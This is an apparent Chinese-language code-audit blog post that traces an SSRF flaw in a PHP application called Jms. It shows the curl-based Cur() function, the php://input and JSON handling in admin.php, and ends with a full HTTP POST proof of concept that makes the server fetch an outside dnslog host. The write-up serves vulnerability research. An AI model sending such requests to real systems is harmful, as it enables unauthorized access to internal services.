Jms - SSRF - 代码审计

在先知上看见一人发的文章.. 一看ID这么熟悉 原来是一个群友

唉 自己审计这么垃圾 几百年没搞过了 然后玩玩吧

一打开源码 我吐了

ctrl+alt+l格式化下代码 顺眼多了

然后Seay走了一波 ，发现admin.php下的交互点比较大 就打开看下

line 28-44

这可还行 一点进去curl_init，具体看下这个Cur方法吧

function Cur($u)
{
    $n = curl_init();
    curl_setopt($n, CURLOPT_TIMEOUT, 30);
    curl_setopt($n, CURLOPT_RETURNTRANSFER, TRUE);
    if (substr($u, 0, 8) == "https://") {
        curl_setopt($n, CURLOPT_SSL_VERIFYPEER, FALSE);
        curl_setopt($n, CURLOPT_SSL_VERIFYHOST, FALSE);
    }
    curl_setopt($n, CURLOPT_URL, $u);
    curl_setopt($n, CURLOPT_HTTPHEADER, array('X-FORWARDED-FOR:134.175.' . rand(80, 255) . '.' . rand(80, 255), 'CLIENT-IP:192.168.0.2'));
    curl_setopt($n, CURLOPT_REFERER, "https://pjjx.1688.com/");
    curl_setopt($n, CURLOPT_USERAGENT, "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.25 Safari/537.36 Core/1.70.3823.400 QQBrowser/10.7.4307.400");
    $s = curl_exec($n);
    curl_close($n);
    return $s;
}

我们把侧重点放在CURLOPT_URL就可以，可以看见后面$u 可控 就是传递过来的参数

全局搜一波吧



一共俩

在变量m里

去追下变量m

$m = file_get_contents("php://input");

Line 46

我这次get到的php新知识就是这个

我一开始想file_get_contents不是读取吗, php://input不是php的伪协议吗 这是个嘛玩意 然后就去搜了下

https://blog.csdn.net/huangjingwen1129/article/details/82858573

也就是POST请求, Content-Type 是 application/x-www-form-urlencoded 或 multipart/form-data 时，会将变量以关联数组形式传入当前脚本

然后下面第50行又会去调用Dec方法 追进去瞅一眼

function Dec($s, $c = false)
{
    $s = json_decode($s, true);
    if (json_last_error()) die('{"msg":"Request JSON Parse Error."}');
    return $c ? Rpl($s) : $s;
}

没啥..

然后这个点是一个switch case结构

act==sbu

PS: 有一个sid参数的值我不知道咋来的 所以我就直接通过后台 用了一个功能 改了下他的请求包就可以

加入Bu 后面跟url

最终POC

POST /www.test.com/admin.php HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:85.0) Gecko/20100101 Firefox/85.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded;
Content-Length: 75
Origin: http://127.0.0.1
Connection: close
Referer: http://127.0.0.1/www.test.com/admin.php
Cookie: Jms_FromID=; Jms_BackURL=http%253A//127.0.0.1/www.test.com/item.php%253Fid%253D7

{"act":"sbu","uid":"1","sid":"Wf0001ELmbuaf6h3","Bu":"http://dnslog.cn"}

漏洞证明